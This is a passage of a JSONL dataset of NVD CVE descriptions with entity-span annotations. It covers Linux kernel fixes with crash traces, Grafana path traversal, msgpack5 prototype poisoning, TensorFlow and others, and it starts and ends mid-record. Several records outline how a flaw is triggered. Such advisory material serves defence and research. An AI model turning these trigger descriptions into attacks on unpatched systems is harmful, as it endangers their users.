If upgrading is not immediately possible, validate and sanitize the `width` and `height` attributes of any untrusted SVG input before passing it to the converter.", "spans": {"VULNERABILITY: denial of service": [[440, 457]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-29112"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/histograms: Fix memory leak problem\n\nThis reverts commit 46bbe5c671e06f070428b9be142cc4ee5cedebac.\n\nAs commit 46bbe5c671e0 (\"tracing: fix double free\") said, the\n\"double free\" problem reported by clang static analyzer is:\n  > In parse_var_defs() if there is a problem allocating\n  > var_defs.expr, the earlier var_defs.name is freed.\n  > This free is duplicated by free_var_defs() which frees\n  > the rest of the list.\n\nHowever, if there is a problem allocating N-th var_defs.expr:\n  + in parse_var_defs(), the freed 'earlier var_defs.name' is\n    actually the N-th var_defs.name;\n  + then in free_var_defs(), the names from 0th to (N-1)-th are freed;\n\n                        IF ALLOCATING PROBLEM HAPPENED HERE!!! -+\n                                                                 \\\n                                                                  |\n          0th           1th                 (N-1)-th      N-th    V\n          +-------------+-------------+-----+-------------+-----------\nvar_defs: | name | expr | name | expr | ... | name | expr | name | ///\n          +-------------+-------------+-----+-------------+-----------\n\nThese two frees don't act on same name, so there was no \"double free\"\nproblem before. Conversely, after that commit, we get a \"memory leak\"\nproblem because the above \"N-th var_defs.name\" is not freed.\n\nIf enable CONFIG_DEBUG_KMEMLEAK and inject a fault at where the N-th\nvar_defs.expr allocated, then execute on shell like:\n  $ echo 'hist:key=call_site:val=$v1,$v2:v1=bytes_req,v2=bytes_alloc' > \\\n/sys/kernel/debug/tracing/events/kmem/kmalloc/trigger\n\nThen kmemleak reports:\n  unreferenced object 0xffff8fb100ef3518 (size 8):\n    comm \"bash\", pid 196, jiffies 4295681690 (age 28.538s)\n    hex dump (first 8 bytes):\n      76 31 00 00 b1 8f ff ff                          v1......\n    backtrace:\n      [<0000000038fe4895>] kstrdup+0x2d/0x60\n      [<00000000c99c049a>] event_hist_trigger_parse+0x206f/0x20e0\n      [<00000000ae70d2cc>] trigger_process_regex+0xc0/0x110\n      [<0000000066737a4c>] event_trigger_write+0x75/0xd0\n      [<000000007341e40c>] vfs_write+0xbb/0x2a0\n      [<0000000087fde4c2>] ksys_write+0x59/0xd0\n      [<00000000581e9cdf>] do_syscall_64+0x3a/0x80\n      [<00000000cf3b065c>] entry_SYSCALL_64_after_hwframe+0x46/0xb0", "spans": {"HASH: 46bbe5c671e06f070428b9be142cc4ee5cedebac": [[134, 174]], "FILEPATH: /sys/kernel/debug/tracing/events/kmem/kmalloc/trigger": [[1611, 1664]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: double free": [[215, 226], [240, 251], [1270, 1281]], "VULNERABILITY: memory leak": [[93, 104], [1340, 1351]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49648"}}
{"text": "Vulnerability in the Oracle iSupport product of Oracle E-Business Suite (component: Others). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle iSupport. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle iSupport, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle iSupport accessible data as well as unauthorized update, insert or delete access to some of Oracle iSupport accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [48, 54], [275, 281], [409, 415], [598, 604], [697, 703]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14686"}}
{"text": "The JSON datasource plugin ( https://grafana.com/grafana/plugins/marcusolsson-json-datasource/ ) is a Grafana Labs maintained plugin for Grafana that allows for retrieving and processing JSON data from a remote endpoint (including a specific sub-path) configured by an administrator. Due to inadequate sanitization of the dashboard-supplied path parameter, it was possible to include path traversal characters (../) in the path parameter and send requests to paths on the configured endpoint outside the configured sub-path. \n\n\n\n\n\n    \n    \n            \n\n\n\n\n\n\n    \n    \n            This means that if the datasource was configured by an administrator to point at some sub-path of a domain (e.g.  https://example.com/api/some_safe_api/ ), it was possible for an editor to create a dashboard referencing the datasource which issues queries containing path traversal characters, which would in turn cause the datasource to instead query arbitrary subpaths on the configured domain (e.g.  https://example.com/api/admin_api/) .\n\nIn the rare case that this plugin is configured by an administrator to point back at the Grafana instance itself, this vulnerability becomes considerably more severe, as an administrator browsing a maliciously configured panel could be compelled to make requests to Grafana administrative API endpoints with their credentials, resulting in the potential for privilege escalation, hence the high score for this vulnerability.", "spans": {"URL: https://grafana.com/grafana/plugins/marcusolsson-json-datasource/": [[29, 94]], "URL: https://example.com/api/some_safe_api/": [[696, 734]], "URL: https://example.com/api/admin_api/": [[985, 1019]], "SYSTEM: Grafana": [[102, 109], [137, 144], [1113, 1120], [1290, 1297]], "VULNERABILITY: privilege escalation": [[1382, 1402]], "VULNERABILITY: path traversal": [[384, 398], [849, 863]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-5123"}}
{"text": "msgpack5 is a msgpack v5 implementation for node.js and the browser. In msgpack5 before versions 3.6.1, 4.5.1, and 5.2.1 there is a \"Prototype Poisoning\" vulnerability. When msgpack5 decodes a map containing a key \"__proto__\", it assigns the decoded value to __proto__. Object.prototype.__proto__ is an accessor property for the receiver's prototype. If the value corresponding to the key __proto__ decodes to an object or null, msgpack5 sets the decoded object's prototype to that value. An attacker who can submit crafted MessagePack data to a service can use this to produce values that appear to be of other types; may have unexpected prototype properties and methods (for example length, numeric properties, and push et al if __proto__'s value decodes to an Array); and/or may throw unexpected exceptions when used (for example if the __proto__ value decodes to a Map or Date). Other unexpected behavior might be produced for other types. There is no effect on the global prototype. This \"prototype poisoning\" is sort of a very limited inversion of a prototype pollution attack. Only the decoded value's prototype is affected, and it can only be set to msgpack5 values (though if the victim makes use of custom codecs, anything could be a msgpack5 value). We have not found a way to escalate this to true prototype pollution (absent other bugs in the consumer's code). This has been fixed in msgpack5 version 3.6.1, 4.5.1, and 5.2.1. See the referenced GitHub Security Advisory for an example and more details.", "spans": {"FILEPATH: node.js": [[44, 51]], "ORGANIZATION: GitHub": [[1458, 1464]], "VULNERABILITY: prototype pollution": [[1056, 1075], [1310, 1329]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21368"}}
{"text": "<p>An elevation of privilege vulnerability exists in the way that the Wininit.dll handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.</p>\n<p>There are multiple ways an attacker could exploit the vulnerability:</p>\n<ul>\n<li><p>In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit this vulnerability and then convince a user to view the website. An attacker would have no way to force users to view the attacker-controlled content. Instead, an attacker would have to convince users to take action, typically by getting them to click a link in an email message or in an Instant Messenger message that takes users to the attacker's website, or by opening an attachment sent through email.</p>\n</li>\n<li><p>In a file sharing attack scenario, an attacker could provide a specially crafted document file that is designed to exploit this vulnerability, and then convince a user to open the document file.</p>\n</li>\n</ul>\n<p>The security update addresses the vulnerability by ensuring the Wininit.dll properly handles objects in memory.</p>", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1012"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmack: tcp: ipv4, fix incorrect labeling\n\nCurrently, Smack mirrors the label of incoming tcp/ipv4 connections:\nwhen a label 'foo' connects to a label 'bar' with tcp/ipv4,\n'foo' always gets 'foo' in returned ipv4 packets. So,\n1) returned packets are incorrectly labeled ('foo' instead of 'bar')\n2) 'bar' can write to 'foo' without being authorized to write.\n\nHere is a scenario how to see this:\n\n* Take two machines, let's call them C and S,\n   with active Smack in the default state\n   (no settings, no rules, no labeled hosts, only builtin labels)\n\n* At S, add Smack rule 'foo bar w'\n   (labels 'foo' and 'bar' are instantiated at S at this moment)\n\n* At S, at label 'bar', launch a program\n   that listens for incoming tcp/ipv4 connections\n\n* From C, at label 'foo', connect to the listener at S.\n   (label 'foo' is instantiated at C at this moment)\n   Connection succeedes and works.\n\n* Send some data in both directions.\n* Collect network traffic of this connection.\n\nAll packets in both directions are labeled with the CIPSO\nof the label 'foo'. Hence, label 'bar' writes to 'foo' without\nbeing authorized, and even without ever being known at C.\n\nIf anybody cares: exactly the same happens with DCCP.\n\nThis behavior 1st manifested in release 2.6.29.4 (see Fixes below)\nand it looks unintentional. At least, no explanation was provided.\n\nI changed returned packes label into the 'bar',\nto bring it into line with the Smack documentation claims.", "spans": {"IP_ADDRESS: 2.6.29.4": [[1316, 1324]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47659"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nveth: Ensure eth header is in skb's linear part\n\nAfter feeding a decapsulated packet to a veth device with act_mirred,\nskb_headlen() may be 0. But veth_xmit() calls __dev_forward_skb(),\nwhich expects at least ETH_HLEN byte of linear data (as\n__dev_forward_skb2() calls eth_type_trans(), which pulls ETH_HLEN bytes\nunconditionally).\n\nUse pskb_may_pull() to ensure veth_xmit() respects this constraint.\n\nkernel BUG at include/linux/skbuff.h:2328!\nRIP: 0010:eth_type_trans+0xcf/0x140\nCall Trace:\n <IRQ>\n __dev_forward_skb2+0xe3/0x160\n veth_xmit+0x6e/0x250 [veth]\n dev_hard_start_xmit+0xc7/0x200\n __dev_queue_xmit+0x47f/0x520\n ? skb_ensure_writable+0x85/0xa0\n ? skb_mpls_pop+0x98/0x1c0\n tcf_mirred_act+0x442/0x47e [act_mirred]\n tcf_action_exec+0x86/0x140\n fl_classify+0x1d8/0x1e0 [cls_flower]\n ? dma_pte_clear_level+0x129/0x1a0\n ? dma_pte_clear_level+0x129/0x1a0\n ? prb_fill_curr_block+0x2f/0xc0\n ? skb_copy_bits+0x11a/0x220\n __tcf_classify+0x58/0x110\n tcf_classify_ingress+0x6b/0x140\n __netif_receive_skb_core.constprop.0+0x47d/0xfd0\n ? __iommu_dma_unmap_swiotlb+0x44/0x90\n __netif_receive_skb_one_core+0x3d/0xa0\n netif_receive_skb+0x116/0x170\n be_process_rx+0x22f/0x330 [be2net]\n be_poll+0x13c/0x370 [be2net]\n __napi_poll+0x2a/0x170\n net_rx_action+0x22f/0x2f0\n __do_softirq+0xca/0x2a8\n __irq_exit_rcu+0xc1/0xe0\n common_interrupt+0x83/0xa0", "spans": {"FILEPATH: /linux/skbuff.h": [[492, 507]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49066"}}
{"text": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Versions 1.8-rc-1, 17.0.0-rc-1 and 17.5.0-rc-1 and prior include a resource exhaustion vulnerability in REST API endpoints such as /xwiki/rest/wikis/xwiki/spaces/AnnotationCode/pages/AnnotationConfig/objects/AnnotationCode.AnnotationConfig/0/properties, which list all available pages as part of the metadata for database list properties without applying query limits. On large wikis, this can exhaust available server resources. This issue has been patched in versions 16.10.16, 17.4.8 and 17.10.1.", "spans": {"FILEPATH: /xwiki/rest/wikis/xwiki/spaces/AnnotationCode/pages/AnnotationConfig/objects/AnnotationCode.AnnotationConfig/0/properties": [[236, 357]], "VULNERABILITY: resource exhaustion": [[172, 191]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40104"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/hugetlb: fix PTE marker handling in hugetlb_change_protection()\n\nPatch series \"mm/hugetlb: uffd-wp fixes for hugetlb_change_protection()\".\n\nPlaying with virtio-mem and background snapshots (using uffd-wp) on\nhugetlb in QEMU, I managed to trigger a VM_BUG_ON().  Looking into the\ndetails, hugetlb_change_protection() seems to not handle uffd-wp correctly\nin all cases.\n\nPatch #1 fixes my test case.  I don't have reproducers for patch #2, as it\nrequires running into migration entries.\n\nI did not yet check in detail yet if !hugetlb code requires similar care.\n\n\nThis patch (of 2):\n\nThere are two problematic cases when stumbling over a PTE marker in\nhugetlb_change_protection():\n\n(1) We protect an uffd-wp PTE marker a second time using uffd-wp: we will\n    end up in the \"!huge_pte_none(pte)\" case and mess up the PTE marker.\n\n(2) We unprotect a uffd-wp PTE marker: we will similarly end up in the\n    \"!huge_pte_none(pte)\" case even though we cleared the PTE, because\n    the \"pte\" variable is stale. We'll mess up the PTE marker.\n\nFor example, if we later stumble over such a \"wrongly modified\" PTE marker,\nwe'll treat it like a present PTE that maps some garbage page.\n\nThis can, for example, be triggered by mapping a memfd backed by huge\npages, registering uffd-wp, uffd-wp'ing an unmapped page and (a)\nuffd-wp'ing it a second time; or (b) uffd-unprotecting it; or (c)\nunregistering uffd-wp. Then, ff we trigger fallocate(FALLOC_FL_PUNCH_HOLE)\non that file range, we will run into a VM_BUG_ON:\n\n[  195.039560] page:00000000ba1f2987 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x0\n[  195.039565] flags: 0x7ffffc0001000(reserved|node=0|zone=0|lastcpupid=0x1fffff)\n[  195.039568] raw: 0007ffffc0001000 ffffe742c0000008 ffffe742c0000008 0000000000000000\n[  195.039569] raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000\n[  195.039569] page dumped because: VM_BUG_ON_PAGE(compound && !PageHead(page))\n[  195.039573] ------------[ cut here ]------------\n[  195.039574] kernel BUG at mm/rmap.c:1346!\n[  195.039579] invalid opcode: 0000 [#1] PREEMPT SMP NOPTI\n[  195.039581] CPU: 7 PID: 4777 Comm: qemu-system-x86 Not tainted 6.0.12-200.fc36.x86_64 #1\n[  195.039583] Hardware name: LENOVO 20WNS1F81N/20WNS1F81N, BIOS N35ET50W (1.50 ) 09/15/2022\n[  195.039584] RIP: 0010:page_remove_rmap+0x45b/0x550\n[  195.039588] Code: [...]\n[  195.039589] RSP: 0018:ffffbc03c3633ba8 EFLAGS: 00010292\n[  195.039591] RAX: 0000000000000040 RBX: ffffe742c0000000 RCX: 0000000000000000\n[  195.039592] RDX: 0000000000000002 RSI: ffffffff8e7aac1a RDI: 00000000ffffffff\n[  195.039592] RBP: 0000000000000001 R08: 0000000000000000 R09: ffffbc03c3633a08\n[  195.039593] R10: 0000000000000003 R11: ffffffff8f146328 R12: ffff9b04c42754b0\n[  195.039594] R13: ffffffff8fcc6328 R14: ffffbc03c3633c80 R15: ffff9b0484ab9100\n[  195.039595] FS:  00007fc7aaf68640(0000) GS:ffff9b0bbf7c0000(0000) knlGS:0000000000000000\n[  195.039596] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  195.039597] CR2: 000055d402c49110 CR3: 0000000159392003 CR4: 0000000000772ee0\n[  195.039598] PKRU: 55555554\n[  195.039599] Call Trace:\n[  195.039600]  <TASK>\n[  195.039602]  __unmap_hugepage_range+0x33b/0x7d0\n[  195.039605]  unmap_hugepage_range+0x55/0x70\n[  195.039608]  hugetlb_vmdelete_list+0x77/0xa0\n[  195.039611]  hugetlbfs_fallocate+0x410/0x550\n[  195.039612]  ? _raw_spin_unlock_irqrestore+0x23/0x40\n[  195.039616]  vfs_fallocate+0x12e/0x360\n[  195.039618]  __x64_sys_fallocate+0x40/0x70\n[  195.039620]  do_syscall_64+0x58/0x80\n[  195.039623]  ? syscall_exit_to_user_mode+0x17/0x40\n[  195.039624]  ? do_syscall_64+0x67/0x80\n[  195.039626]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[  195.039628] RIP: 0033:0x7fc7b590651f\n[  195.039653] Code: [...]\n[  195.039654] RSP: 002b:00007fc7aaf66e70 EFLAGS: 00000293 ORIG_RAX: 000000000000011d\n[  195.039655] RAX: ffffffffffffffda RBX: 0000558ef4b7f370 RCX: 00007fc7b590651f\n---truncated---", "spans": {"FILEPATH: /15/2022": [[2345, 2353]], "FILEPATH: rmap.c": [[2097, 2103]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[291, 295]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49760"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: macvlan: fix memory leaks of macvlan_common_newlink\n\nkmemleak reports memory leaks in macvlan_common_newlink, as follows:\n\n ip link add link eth0 name .. type macvlan mode source macaddr add\n <MAC-ADDR>\n\nkmemleak reports:\n\nunreferenced object 0xffff8880109bb140 (size 64):\n  comm \"ip\", pid 284, jiffies 4294986150 (age 430.108s)\n  hex dump (first 32 bytes):\n    00 00 00 00 00 00 00 00 b8 aa 5a 12 80 88 ff ff  ..........Z.....\n    80 1b fa 0d 80 88 ff ff 1e ff ac af c7 c1 6b 6b  ..............kk\n  backtrace:\n    [<ffffffff813e06a7>] kmem_cache_alloc_trace+0x1c7/0x300\n    [<ffffffff81b66025>] macvlan_hash_add_source+0x45/0xc0\n    [<ffffffff81b66a67>] macvlan_changelink_sources+0xd7/0x170\n    [<ffffffff81b6775c>] macvlan_common_newlink+0x38c/0x5a0\n    [<ffffffff81b6797e>] macvlan_newlink+0xe/0x20\n    [<ffffffff81d97f8f>] __rtnl_newlink+0x7af/0xa50\n    [<ffffffff81d98278>] rtnl_newlink+0x48/0x70\n    ...\n\nIn the scenario where the macvlan mode is configured as 'source',\nmacvlan_changelink_sources() will be execured to reconfigure list of\nremote source mac addresses, at the same time, if register_netdevice()\nreturn an error, the resource generated by macvlan_changelink_sources()\nis not cleaned up.\n\nUsing this patch, in the case of an error, it will execute\nmacvlan_flush_sources() to ensure that the resource is cleaned up.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49853"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/vc4: drop all currently held locks if deadlock happens\n\nIf vc4_hdmi_reset_link() returns -EDEADLK, it means that a deadlock\nhappened in the locking context. This situation should be addressed by\ndropping all currently held locks and block until the contended lock\nbecomes available. Currently, vc4 is not dealing with the deadlock\nproperly, producing the following output when PROVE_LOCKING is enabled:\n\n[  825.612809] ------------[ cut here ]------------\n[  825.612852] WARNING: CPU: 1 PID: 116 at drivers/gpu/drm/drm_modeset_lock.c:276 drm_modeset_drop_locks+0x60/0x68 [drm]\n[  825.613458] Modules linked in: 8021q mrp garp stp llc\nraspberrypi_cpufreq brcmfmac brcmutil crct10dif_ce hci_uart cfg80211\nbtqca btbcm bluetooth vc4 raspberrypi_hwmon snd_soc_hdmi_codec cec\nclk_raspberrypi ecdh_generic drm_display_helper ecc rfkill\ndrm_dma_helper drm_kms_helper pwm_bcm2835 bcm2835_thermal bcm2835_rng\nrng_core i2c_bcm2835 drm fuse ip_tables x_tables ipv6\n[  825.613735] CPU: 1 PID: 116 Comm: kworker/1:2 Tainted: G        W 6.1.0-rc6-01399-g941aae326315 #3\n[  825.613759] Hardware name: Raspberry Pi 3 Model B Rev 1.2 (DT)\n[  825.613777] Workqueue: events output_poll_execute [drm_kms_helper]\n[  825.614038] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[  825.614063] pc : drm_modeset_drop_locks+0x60/0x68 [drm]\n[  825.614603] lr : drm_helper_probe_detect+0x120/0x1b4 [drm_kms_helper]\n[  825.614829] sp : ffff800008313bf0\n[  825.614844] x29: ffff800008313bf0 x28: ffffcd7778b8b000 x27: 0000000000000000\n[  825.614883] x26: 0000000000000001 x25: 0000000000000001 x24: ffff677cc35c2758\n[  825.614920] x23: ffffcd7707d01430 x22: ffffcd7707c3edc7 x21: 0000000000000001\n[  825.614958] x20: 0000000000000000 x19: ffff800008313c10 x18: 000000000000b6d3\n[  825.614995] x17: ffffcd777835e214 x16: ffffcd7777cef870 x15: fffff81000000000\n[  825.615033] x14: 0000000000000000 x13: 0000000000000099 x12: 0000000000000002\n[  825.615070] x11: 72917988020af800 x10: 72917988020af800 x9 : 72917988020af800\n[  825.615108] x8 : ffff677cc665e0a8 x7 : d00a8c180000110c x6 : ffffcd77774c0054\n[  825.615145] x5 : 0000000000000000 x4 : 0000000000000001 x3 : 0000000000000000\n[  825.615181] x2 : ffff677cc55e1880 x1 : ffffcd7777cef8ec x0 : ffff800008313c10\n[  825.615219] Call trace:\n[  825.615232]  drm_modeset_drop_locks+0x60/0x68 [drm]\n[  825.615773]  drm_helper_probe_detect+0x120/0x1b4 [drm_kms_helper]\n[  825.616003]  output_poll_execute+0xe4/0x224 [drm_kms_helper]\n[  825.616233]  process_one_work+0x2b4/0x618\n[  825.616264]  worker_thread+0x24c/0x464\n[  825.616288]  kthread+0xec/0x110\n[  825.616310]  ret_from_fork+0x10/0x20\n[  825.616335] irq event stamp: 7634\n[  825.616349] hardirqs last  enabled at (7633): [<ffffcd777831ee90>] _raw_spin_unlock_irq+0x3c/0x78\n[  825.616384] hardirqs last disabled at (7634): [<ffffcd7778315a78>] __schedule+0x134/0x9f0\n[  825.616411] softirqs last  enabled at (7630): [<ffffcd7707aacea0>] local_bh_enable+0x4/0x30 [ipv6]\n[  825.617019] softirqs last disabled at (7618): [<ffffcd7707aace70>] local_bh_disable+0x4/0x30 [ipv6]\n[  825.617586] ---[ end trace 0000000000000000 ]---\n\nTherefore, deal with the deadlock as suggested by [1], using the\nfunction drm_modeset_backoff().\n\n[1] https://docs.kernel.org/gpu/drm-kms.html?highlight=kms#kms-locking", "spans": {"URL: https://docs.kernel.org/gpu/drm-kms.html?highlight=kms#kms-locking": [[3290, 3356]], "FILEPATH: /gpu/drm/drm_modeset_lock.c": [[579, 606]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53455"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The implementation of the `EmbeddingLookup` TFLite operator is vulnerable to a division by zero error(https://github.com/tensorflow/tensorflow/blob/e4b29809543b250bc9b19678ec4776299dd569ba/tensorflow/lite/kernels/embedding_lookup.cc#L73-L74). An attacker can craft a model such that the first dimension of the `value` input is 0. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/e4b29809543b250bc9b19678ec4776299dd569ba/tensorflow/lite/kernels/embedding_lookup.cc#L73-L74": [[173, 311]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29596"}}
{"text": "Axios Cache Interceptor is a cache interceptor for axios. Prior to version 1.11.1, when a server calls an upstream service using different auth tokens, axios-cache-interceptor returns incorrect cached responses, leading to authorization bypass. The cache key is generated only from the URL, ignoring request headers like `Authorization`. When the server responds with `Vary: Authorization` (indicating the response varies by auth token), the library ignores this, causing all requests to share the same cache regardless of authorization. Server-side applications (APIs, proxies, backend services) that use axios-cache-interceptor to cache requests to upstream services, handle requests from multiple users with different auth tokens, and upstream services replies on `Vary` to differentiate caches are affected. Browser/client-side applications (single user per browser session) are not affected. Services using different auth tokens to call upstream services will return incorrect cached data, bypassing authorization checks and leaking user data across different authenticated sessions. After `v1.11.1`, automatic `Vary` header support is now enabled by default. When server responds with `Vary: Authorization`, cache keys now include the authorization header value. Each user gets their own cache.", "spans": {"VULNERABILITY: authorization bypass": [[223, 243]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-69202"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid panic in f2fs_evict_inode\n\nAs syzbot [1] reported as below:\n\nR10: 0000000000000100 R11: 0000000000000206 R12: 00007ffe17473450\nR13: 00007f28b1c10854 R14: 000000000000dae5 R15: 00007ffe17474520\n </TASK>\n---[ end trace 0000000000000000 ]---\n==================================================================\nBUG: KASAN: use-after-free in __list_del_entry_valid+0xa6/0x130 lib/list_debug.c:62\nRead of size 8 at addr ffff88812d962278 by task syz-executor/564\n\nCPU: 1 PID: 564 Comm: syz-executor Tainted: G        W          6.1.129-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2025\nCall Trace:\n <TASK>\n __dump_stack+0x21/0x24 lib/dump_stack.c:88\n dump_stack_lvl+0xee/0x158 lib/dump_stack.c:106\n print_address_description+0x71/0x210 mm/kasan/report.c:316\n print_report+0x4a/0x60 mm/kasan/report.c:427\n kasan_report+0x122/0x150 mm/kasan/report.c:531\n __asan_report_load8_noabort+0x14/0x20 mm/kasan/report_generic.c:351\n __list_del_entry_valid+0xa6/0x130 lib/list_debug.c:62\n __list_del_entry include/linux/list.h:134 [inline]\n list_del_init include/linux/list.h:206 [inline]\n f2fs_inode_synced+0xf7/0x2e0 fs/f2fs/super.c:1531\n f2fs_update_inode+0x74/0x1c40 fs/f2fs/inode.c:585\n f2fs_update_inode_page+0x137/0x170 fs/f2fs/inode.c:703\n f2fs_write_inode+0x4ec/0x770 fs/f2fs/inode.c:731\n write_inode fs/fs-writeback.c:1460 [inline]\n __writeback_single_inode+0x4a0/0xab0 fs/fs-writeback.c:1677\n writeback_single_inode+0x221/0x8b0 fs/fs-writeback.c:1733\n sync_inode_metadata+0xb6/0x110 fs/fs-writeback.c:2789\n f2fs_sync_inode_meta+0x16d/0x2a0 fs/f2fs/checkpoint.c:1159\n block_operations fs/f2fs/checkpoint.c:1269 [inline]\n f2fs_write_checkpoint+0xca3/0x2100 fs/f2fs/checkpoint.c:1658\n kill_f2fs_super+0x231/0x390 fs/f2fs/super.c:4668\n deactivate_locked_super+0x98/0x100 fs/super.c:332\n deactivate_super+0xaf/0xe0 fs/super.c:363\n cleanup_mnt+0x45f/0x4e0 fs/namespace.c:1186\n __cleanup_mnt+0x19/0x20 fs/namespace.c:1193\n task_work_run+0x1c6/0x230 kernel/task_work.c:203\n exit_task_work include/linux/task_work.h:39 [inline]\n do_exit+0x9fb/0x2410 kernel/exit.c:871\n do_group_exit+0x210/0x2d0 kernel/exit.c:1021\n __do_sys_exit_group kernel/exit.c:1032 [inline]\n __se_sys_exit_group kernel/exit.c:1030 [inline]\n __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1030\n x64_sys_call+0x7b4/0x9a0 arch/x86/include/generated/asm/syscalls_64.h:232\n do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n do_syscall_64+0x4c/0xa0 arch/x86/entry/common.c:81\n entry_SYSCALL_64_after_hwframe+0x68/0xd2\nRIP: 0033:0x7f28b1b8e169\nCode: Unable to access opcode bytes at 0x7f28b1b8e13f.\nRSP: 002b:00007ffe174710a8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\nRAX: ffffffffffffffda RBX: 00007f28b1c10879 RCX: 00007f28b1b8e169\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000001\nRBP: 0000000000000002 R08: 00007ffe1746ee47 R09: 00007ffe17472360\nR10: 0000000000000009 R11: 0000000000000246 R12: 00007ffe17472360\nR13: 00007f28b1c10854 R14: 000000000000dae5 R15: 00007ffe17474520\n </TASK>\n\nAllocated by task 569:\n kasan_save_stack mm/kasan/common.c:45 [inline]\n kasan_set_track+0x4b/0x70 mm/kasan/common.c:52\n kasan_save_alloc_info+0x25/0x30 mm/kasan/generic.c:505\n __kasan_slab_alloc+0x72/0x80 mm/kasan/common.c:328\n kasan_slab_alloc include/linux/kasan.h:201 [inline]\n slab_post_alloc_hook+0x4f/0x2c0 mm/slab.h:737\n slab_alloc_node mm/slub.c:3398 [inline]\n slab_alloc mm/slub.c:3406 [inline]\n __kmem_cache_alloc_lru mm/slub.c:3413 [inline]\n kmem_cache_alloc_lru+0x104/0x220 mm/slub.c:3429\n alloc_inode_sb include/linux/fs.h:3245 [inline]\n f2fs_alloc_inode+0x2d/0x340 fs/f2fs/super.c:1419\n alloc_inode fs/inode.c:261 [inline]\n iget_locked+0x186/0x880 fs/inode.c:1373\n f2fs_iget+0x55/0x4c60 fs/f2fs/inode.c:483\n f2fs_lookup+0x366/0xab0 fs/f2fs/namei.c:487\n __lookup_slow+0x2a3/0x3d0 fs/namei.c:1690\n lookup_slow+0x57/0x70 fs/namei.c:1707\n walk_component+0x2e6/0x410 fs/namei\n---truncated---", "spans": {"FILEPATH: /12/2025": [[710, 718]], "FILEPATH: /kasan/report.c": [[871, 886], [917, 932], [965, 980]], "FILEPATH: /kasan/report_generic.c": [[1026, 1049]], "FILEPATH: /linux/list.h": [[1134, 1147], [1183, 1196]], "FILEPATH: /f2fs/super.c": [[1242, 1255], [1844, 1857], [3679, 3692]], "FILEPATH: /f2fs/inode.c": [[1294, 1307], [1350, 1363], [1400, 1413], [3801, 3814]], "FILEPATH: /f2fs/checkpoint.c": [[1674, 1692], [1718, 1736], [1789, 1807]], "FILEPATH: /linux/task_work.h": [[2120, 2138]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[2416, 2456]], "FILEPATH: /x86/entry/common.c": [[2481, 2500], [2542, 2561]], "FILEPATH: /kasan/common.c": [[3141, 3156], [3198, 3213], [3305, 3320]], "FILEPATH: /kasan/generic.c": [[3252, 3268]], "FILEPATH: /linux/kasan.h": [[3350, 3364]], "FILEPATH: /linux/fs.h": [[3622, 3633]], "FILEPATH: /f2fs/namei.c": [[3846, 3859]], "FILEPATH: list_debug.c": [[462, 474], [1093, 1105]], "FILEPATH: dump_stack.c": [[767, 779], [814, 826]], "FILEPATH: writeback.c": [[1437, 1448], [1507, 1518], [1566, 1577], [1621, 1632]], "FILEPATH: super.c": [[1902, 1909], [1945, 1952]], "FILEPATH: namespace.c": [[1985, 1996], [2030, 2041]], "FILEPATH: task_work.c": [[2081, 2092]], "FILEPATH: exit.c": [[2180, 2186], [2225, 2231], [2265, 2271], [2314, 2320], [2374, 2380]], "FILEPATH: slab.h": [[3414, 3420]], "FILEPATH: slub.c": [[3445, 